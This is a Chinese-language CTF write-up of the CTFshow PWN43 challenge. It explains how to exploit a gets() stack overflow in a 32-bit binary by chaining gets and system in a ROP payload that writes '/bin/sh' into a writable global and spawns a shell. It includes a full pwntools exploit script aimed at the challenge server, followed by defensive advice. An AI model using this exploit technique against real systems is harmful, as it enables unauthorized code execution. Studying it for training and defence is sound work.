CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动‘造’一个的
在CTF的PWN类题目中,栈溢出漏洞的利用往往需要构造精巧的ROP链。但有时候,即使找到了关键的system函数,却缺少必要的参数——比如经典的/bin/sh字符串。本文将从一个解题者的第一视角,详细还原如何在没有现成参数的情况下,手动构造/bin/sh并成功获取shell的全过程。
1. 问题发现与初步分析
当我第一次拿到这道PWN43题目时,按照常规思路,我首先用IDA进行了静态分析。程序是一个32位的ELF文件,主要逻辑在ctfshow函数中:
char s[104]; gets(s); return s;这里明显存在栈溢出漏洞——gets函数不检查输入长度,可以覆盖返回地址。更重要的是,我发现程序中有system函数的调用地址(0x8048450),但搜索整个二进制文件,却找不到任何/bin/sh或sh字符串。
关键问题:如何在没有现成参数的情况下,让system执行/bin/sh?
2. 寻找可写内存区域
既然程序没有提供/bin/sh,那么我们需要手动写入这个字符串。但首先必须找到一个可写的内存地址。使用GDB的vmmap命令查看内存布局:
gdb-peda$ vmmap Start End Perm Name 0x804b000 0x804c000 rw-p [heap]这里0x804b000到0x804c000这段内存具有读写权限(rw-p)。进一步分析,我发现这个区域有一个名为buf2的全局变量,地址是0x804B060——这正是我们需要的可写地址。
提示:在PWN题中,全局变量通常存储在可读写段,是写入自定义数据的理想位置。
3. 构造ROP链的关键思路
现在我们需要解决两个核心问题:
- 如何将
/bin/sh写入buf2 - 如何让
system使用这个字符串作为参数
解决方案是构造一个两阶段的ROP链:
- 首先调用
gets函数,让它从标准输入读取/bin/sh并写入buf2 - 然后调用
system,参数指向buf2
内存布局规划:
| 栈位置 | 内容 |
|---|---|
| 填充数据 | 'a'*(0x6C+4) |
| 返回地址 | gets函数地址 |
| gets返回地址 | system函数地址 |
| gets参数 | buf2地址(写入目标) |
| system参数 | buf2地址(命令参数) |
4. 编写完整Exploit
基于以上分析,我们可以编写Python exploit脚本:
from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 # 填充到返回地址的偏移量 system_addr = 0x8048450 buf2_addr = 0x804B060 gets_addr = 0x8048420 # 构造ROP链 payload = flat( b'A' * offset, gets_addr, # 覆盖返回地址为gets system_addr, # gets返回后跳转到system buf2_addr, # gets的参数:写入目标地址 buf2_addr # system的参数:命令字符串地址 ) p.sendline(payload) p.sendline(b'/bin/sh') # 这是gets读取的内容 p.interactive()关键点解释:
- 第一个
sendline发送ROP链,触发gets函数 - 第二个
sendline提供/bin/sh字符串,gets会将其写入buf2 - 当gets执行完毕,程序跳转到system,此时
buf2已包含/bin/sh
5. 调试技巧与注意事项
在实际操作中,有几个容易出错的地方值得注意:
偏移量计算:
- 使用cyclic pattern确定精确偏移
- 本例中0x6C是到ebp的距离,再加4覆盖返回地址
参数排列:
- 32位程序参数通过栈传递
- 每个函数调用后,其参数仍留在栈上
内存权限验证:
- 务必确认写入地址可写
- 使用
checksec确认NX等保护机制
注意:如果gets执行后程序崩溃,可能是栈不平衡导致的。可以尝试在gets和system之间插入一个简单的ret指令地址来调整栈指针。
6. 替代方案探讨
除了使用gets+system的组合,还有其他几种可能的解决方案:
使用read+system:
- 如果程序有read函数,可以用它代替gets
- 需要正确设置文件描述符、长度等参数
一次性写入:
- 如果溢出空间足够,可以直接在payload中包含
/bin/sh - 需要找到一个固定的栈地址引用
- 如果溢出空间足够,可以直接在payload中包含
环境变量利用:
- 通过溢出修改环境变量
- 复杂度较高,不如直接写入内存可靠
7. 防御措施与题目设计
从防御角度,这道题教会我们几个重要安全原则:
永远不要使用gets:
- 用fgets等安全函数替代
- 或者严格限制输入长度
最小权限原则:
- 不必要的内存区域不应有写权限
- 可考虑将全局变量放在只读段
地址随机化:
- 启用ASLR会增加利用难度
- 但32位系统的ASLR熵值较低
在实际开发中,类似的漏洞可能导致任意代码执行,危害极大。这道CTF题目很好地模拟了现实中的漏洞利用场景。